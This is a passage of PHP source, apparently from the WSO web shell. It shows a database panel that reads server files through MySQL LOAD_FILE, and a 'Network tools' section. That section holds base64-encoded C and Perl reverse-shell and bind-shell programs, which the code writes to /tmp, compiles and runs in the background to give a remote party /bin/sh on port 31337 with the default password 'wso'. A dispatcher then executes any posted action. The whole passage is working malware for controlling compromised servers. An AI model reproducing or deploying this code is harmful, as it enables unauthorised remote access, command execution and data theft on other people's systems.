1408 echo '</tr><tr>';
1409 $line = 2;
1410 }
1411 echo '<tr class="l'.$line.'">';
1412 $line = $line==1?2:1;
1413 foreach($item as $key => $value) {
1414 if($value == null)
1415 echo '<td><i>null</i></td>';
1416 else
1417 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1418 }
1419 echo '</tr>';
1420 }
1421 echo '</table>';
1422 } else {
1423 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1424 }
1425 }
1426 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1427 echo "</td></tr>";
1428 }
1429 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1430 if(@$_POST['p1'] == 'loadfile') {
1431 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1432 $file = $db->fetch();
1433 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1434 }
1435 }
1436 echo '</div>';
1437 printFooter();
1438}
1439function actionNetwork() {
1440 printHeader();
1441 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1442 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1443 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1444 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1445 ?>
1446 <h1>Network tools</h1><div class=content>
1447 <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1448 <span>Bind port to /bin/sh</span><br/>
1449 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
1450 </form>
1451 <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1452 <span>Back-connect to</span><br/>
1453 Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
1454 </form><br>
1455 <?php
1456 if(isset($_POST['p1'])) {
1457 function cf($f,$t) {
1458 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1459 if($w) {
1460 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1461 @fclose($w);
1462 }
1463 }
1464 if($_POST['p1'] == 'bpc') {
1465 cf("/tmp/bp.c",$bind_port_c);
1466 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1467 @unlink("/tmp/bp.c");
1468 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1469 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1470 }
1471 if($_POST['p1'] == 'bpp') {
1472 cf("/tmp/bp.pl",$bind_port_p);
1473 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1474 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1475 }
1476 if($_POST['p1'] == 'bcc') {
1477 cf("/tmp/bc.c",$back_connect_c);
1478 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1479 @unlink("/tmp/bc.c");
1480 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1481 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1482 }
1483 if($_POST['p1'] == 'bcp') {
1484 cf("/tmp/bc.pl",$back_connect_p);
1485 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1486 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1487 }
1488 }
1489 echo '</div>';
1490 printFooter();
1491}
1492if( empty($_POST['a']) )
1493 if(isset($default_action) && function_exists('action' . $default_action))
1494 $_POST['a'] = $default_action;
1495 else
1496 $_POST['a'] = 'SecInfo';
1497if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1498 call_user_func('action' . $_POST['a']);
1499?>